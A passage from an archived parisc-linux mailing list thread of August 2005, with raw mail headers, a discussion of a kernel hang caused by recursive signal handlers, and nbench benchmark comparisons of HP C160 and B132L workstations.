	by free.linux.hp.com (Postfix) with ESMTP id 0E1B27D6FE;
	Mon, 15 Aug 2005 21:32:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03939-07; Mon, 15 Aug 2005 21:32:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 76E3C7D701;
	Mon, 15 Aug 2005 21:32:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1E437D6FB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 21:32:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03939-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 21:32:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 05A907D6F2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 21:32:50 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7G3WnnV022021; Mon, 15 Aug 2005 23:32:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7G3WnGx022020;
	Mon, 15 Aug 2005 23:32:49 -0400 (EDT)
In-Reply-To: <no.id> from "John David Anglin" at Aug 15, 2005 11:18:00 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PTtzY4UveSEkTr6WZHQhaXN1IGRvb0AW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23072

> > static void sighandler(int sig)
> > {
> >         printf("Got signal %d\n", sig);
> >         exit(0);
> 
> I think you need to use _exit in a signal handler although this may
> not be an issue when there is only one thread.

GCC uses exit.  Either way, the kernel shouldn't hang.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Tue, 16 Aug 2005 11:17:55 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <ILB5TV$CA7EA436EF33A0C6E0748DAEC30B9B9F@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623897 16408 80.91.229.3 (22 Nov 2014 02:38:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:17 +0000 (UTC)
Cc: "James.Bottomley" <James.Bottomley@SteelEye.com>,
 dave <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 tsg45800 <tsg45800@scarlet.be>
To: "dave" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Aug 2005 09:18:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 16 Aug 2005 11:18:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1E0227D706;
	Tue, 16 Aug 2005 03:18:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04977-10; Tue, 16 Aug 2005 03:18:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 188BC7D6FE;
	Tue, 16 Aug 2005 03:18:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A615C7D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 03:18:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04978-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 03:18:04 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id B62597D6F5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 03:18:03 -0600 (MDT)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by guri.is.scarlet.be  with ESMTP id j7G9Ht204507; 
	Tue, 16 Aug 2005 11:17:55 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: D8pzY00EeSEkRr6WZHQhaXN1IGRvb0Aj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23073

> > > static void sighandler(int sig)
> > > {
> > >         printf("Got signal %d\n", sig);
> > >         exit(0);
> > 
> > I think you need to use _exit in a signal handler although this may
> > not be an issue when there is only one thread.
> 
> GCC uses exit.  Either way, the kernel shouldn't hang.
> 
Randolph , Dave,

Eventhought it does:
on a b180 model runing the latest cvs 2.6.13-rc6-pa1 (compiled with debia=
n
stock gcc-4.0, as it's an unstable install but downgraded libc6 2.3.2), f=
oo
runs untils:
...
Estimating stack consumed 0x7fee40
Estimating stack consumed 0x7fef80
Estimating stack consumed 0x7ff0c0
=3D=3D=3D=3D<hang>=3D=3D=3D

The ping still responding but not anymore the console (nor other process
apparently)... no more heartbit/disk leds flashing; pressing TOC buton la=
unch
the reboot but what is bad: nothing was saved in piminfo (all 0 and No va=
lid
timestamp) :-(

If some other test will be helpfull: don't hesistate.

Joel=0A=0A---------------------------------------------------------------=
=0AA free anti-spam and anti-virus filter on all Scarlet mailboxes=0AMore=
 info on http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Tue, 16 Aug 2005 03:23:28 -0600
Lines: 111
Approved: news@gmane.org
Message-ID: <4301B090.9040405@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623897 16411 80.91.229.3 (22 Nov 2014 02:38:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Aug 2005 09:31:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 16 Aug 2005 11:31:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D07B07D711;
	Tue, 16 Aug 2005 03:31:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05874-05; Tue, 16 Aug 2005 03:31:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B8DAC7D712;
	Tue, 16 Aug 2005 03:31:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 073057D710
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 03:31:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05874-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 03:31:10 -0600 (MDT)
Original-Received: from pd3mo2so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id 54CFC7D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 03:31:10 -0600 (MDT)
Original-Received: from pd5mr5so.prod.shaw.ca
	(pd5mr5so-qfe3.prod.shaw.ca [10.0.141.181]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0ILB0073A6352500@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 16 Aug 2005 03:23:29 -0600 (MDT)
Original-Received: from pn2ml2so.prod.shaw.ca ([10.0.121.146])
	by pd5mr5so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0ILB008AX635MA60@pd5mr5so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 16 Aug 2005 03:23:29 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0ILB0090O635BP@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 16 Aug 2005 03:23:29 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	j7G9NSJv008062	for
	<parisc-linux@lists.parisc-linux.org>; Tue, 16 Aug 2005 03:23:28 -0600
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MddzYxsOeSEkM76WZHQhaXN1IGRvb8Dg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23074

In the interim until I can source an ISA/EISA fast ethernet card, I've
been playing with my new C160.  I decided to benchmark it and compare it
to my B132L.  To my surprise, when it came to integer operations, the
B132L outperforms the C160!

I benchmarked using nbench, which is a Linux/Unix port of Byte
magazine's ByteMark.  Full results from both machines are at the end of
this post.

Both machines were benchmarked using identical binaries compiled with:
-O3 -march=1.1 -mschedule=7300 -mfast-indirect-calls -mgas

Thinking that the scheduling and architecture might be slowing down the
C160, I recompiled it with:
-O3 -march=2.0 -mschedule=8000 -mfast-indirect-calls -mgas

When that produced even worse results, I tried -march=2.0 vs 1.1 and
-mschedule=8000 vs 7300 seperately.  Each one alone slows down the
benchmark and the effect is addititive.  It seems that in Linux, right
now at least, compiling with -march=2.0 or -mschedule=8000 is a Bad Thing.

If you look at the individual results, in most areas the C160 performs
about 20% better than the B132.  It's just that in a few areas, the C160
has absolutely dismal performance.  Numeric sorting and the assignment
algorithm were both notably slower on the C160.

With a clock speed 20% faster, I must admit that the C160's poor showing
was a dissappointment.  I'm wondering if this is because there isn't a
64-bit userland yet.  Is stepping down to 32-bit on the C160 hurting its
performance that badly?

I suppose (assuming I'm correct about the reason for the performance
drop) my options are to wait for 64-bit userland or to put HPUX on it.

Is there any way which someone can help the 64-bit userland effort who
is quite strong in system-level programming in general though weak in
Linux kernel programming specifically?  Is there a project web site for
this effort?

	Kurt


Phong (C160):
------------------------------------------------------------------
TEST                : Iterations/sec.  : Old Index   : New Index
                    :                  : Pentium 90* : AMD K6/233*
--------------------:------------------:-------------:------------
NUMERIC SORT        :           37.51  :       0.96  :       0.32
STRING SORT         :          5.0486  :       2.26  :       0.35
BITFIELD            :      1.6052e+07  :       2.75  :       0.58
FP EMULATION        :          8.4215  :       4.04  :       0.93
FOURIER             :          1102.1  :       1.25  :       0.70
ASSIGNMENT          :         0.59547  :       2.27  :       0.59
IDEA                :          115.34  :       1.76  :       0.52
HUFFMAN             :          89.382  :       2.48  :       0.79
NEURAL NET          :          1.6905  :       2.72  :       1.14
LU DECOMPOSITION    :          41.254  :       2.14  :       1.54
=======================ORIGINAL BYTEMARK RESULTS=======================
INTEGER INDEX       : 2.187
FLOATING-POINT INDEX: 1.938
Baseline: MSDOS P90, 256 KB L2-cache, Watcom* compiler 10.0
===========================LINUX DATA BELOW============================
CPU                 : Raven U 160 (9000/780/C160) 160MHz
L2 Cache            : 512 KB (WB, 0-way associative)
OS                  : Linux 2.6.10-pa11-phong-3
C compiler          : gcc version 3.3.5 (Debian 1:3.3.5-13)
libc                : ld-2.3.2.so
MEMORY INDEX        : 0.491
INTEGER INDEX       : 0.591
FLOATING-POINT INDEX: 1.075
Baseline: Linux AMD K6/233*, 512 KB L2-cache, gcc 2.7.2.3, libc-5.4.38
=======================================================================


Megabyte (B132L):
------------------------------------------------------------------
TEST                : Iterations/sec.  : Old Index   : New Index
                    :                  : Pentium 90* : AMD K6/233*
--------------------:------------------:-------------:------------
NUMERIC SORT        :          60.695  :       1.56  :       0.51
STRING SORT         :          3.3905  :       1.51  :       0.23
BITFIELD            :      1.1081e+07  :       1.90  :       0.40
FP EMULATION        :          6.0832  :       2.92  :       0.67
FOURIER             :          876.58  :       1.00  :       0.56
ASSIGNMENT          :         0.80283  :       3.05  :       0.79
IDEA                :          150.04  :       2.29  :       0.68
HUFFMAN             :          76.017  :       2.11  :       0.67
NEURAL NET          :          1.1334  :       1.82  :       0.77
LU DECOMPOSITION    :          41.733  :       2.16  :       1.56
=======================ORIGINAL BYTEMARK RESULTS=======================
INTEGER INDEX       : 2.121
FLOATING-POINT INDEX: 1.577
Baseline: MSDOS P90, 256 KB L2-cache, Watcom* compiler 10.0
===========================LINUX DATA BELOW============================
CPU                 : Merlin L2 132 (9000/778/B132L) 132MHz
Cache               : 64 KB (WB, 0-way associative)
OS                  : Linux 2.6.8.1-pa11-megabyte-20050720
C compiler          : gcc version 3.3.5 (Debian 1:3.3.5-13)
libc                : ld-2.3.2.so
MEMORY INDEX        : 0.419
INTEGER INDEX       : 0.630
FLOATING-POINT INDEX: 0.875
Baseline: Linux AMD K6/233*, 512 KB L2-cache, gcc 2.7.2.3, libc-5.4.38
=======================================================================

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Tue, 16 Aug 2005 18:10:24 +0800
Lines: 32
Approved: news@gmane.org
Message-ID: <4301BB90.5060907@tausq.org>
References: <ILB5TV$CA7EA436EF33A0C6E0748DAEC30B9B9F@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623897 16412 80.91.229.3 (22 Nov 2014 02:38:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:17 +0000 (UTC)
Cc: "James.Bottomley" <James.Bottomley@SteelEye.com>,
 dave <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 tsg45800 <tsg45800@scarlet.be>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Aug 2005 10:10:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 16 Aug 2005 12:10:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AAC887D70E;
	Tue, 16 Aug 2005 04:10:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06211-02; Tue, 16 Aug 2005 04:10:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E6AD7D710;
	Tue, 16 Aug 2005 04:10:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A64A17D70E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 04:10:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05994-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 04:10:45 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id E2EA77D70C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 04:10:44 -0600 (MDT)
Original-Received: from rccomp.stl.com.hk ([192.168.100.200] helo=[127.0.0.1])
	by stl.com.hk with esmtp (Exim 4.50)
	id 1E4yJv-0008Sy-DS; Tue, 16 Aug 2005 18:05:23 +0800
User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050805)
X-Accept-Language: en-us, en
In-Reply-To: <ILB5TV$CA7EA436EF33A0C6E0748DAEC30B9B9F@scarlet.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +t5zY/geeSEkQb6WZHQhaXN1IGRvb8CW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23075

> on a b180 model runing the latest cvs 2.6.13-rc6-pa1 (compiled with debian
> stock gcc-4.0, as it's an unstable install but downgraded libc6 2.3.2), foo
> runs untils:
> ...
> Estimating stack consumed 0x7fee40
> Estimating stack consumed 0x7fef80
> Estimating stack consumed 0x7ff0c0
> ====<hang>===
> 
> The ping still responding but not anymore the console (nor other process
> apparently)... no more heartbit/disk leds flashing; pressing TOC buton launch
> the reboot but what is bad: nothing was saved in piminfo (all 0 and No valid
> timestamp) :-(

Yup, this is the same as what others are seeing. It's definitely a
problem with infinitely looping signal handlers.

I'm not sure what's the "correct" behavior in this case. I recall now
that we saw a similar problem with expect where the signal handler was
recursing.

Is the kernel responsible for blocking SIGSEGV handlers that generate
SIGSEGV?

randolph

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Tue, 16 Aug 2005 08:00:29 -0500
Lines: 128
Approved: news@gmane.org
Message-ID: <200508160800.29307.mszick@morethan.org>
References: <4301B090.9040405@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623898 16415 80.91.229.3 (22 Nov 2014 02:38:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Aug 2005 13:00:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 16 Aug 2005 15:00:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 72EB47D70F;
	Tue, 16 Aug 2005 07:00:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08508-08; Tue, 16 Aug 2005 07:00:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F1617D710;
	Tue, 16 Aug 2005 07:00:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 43E127D70E
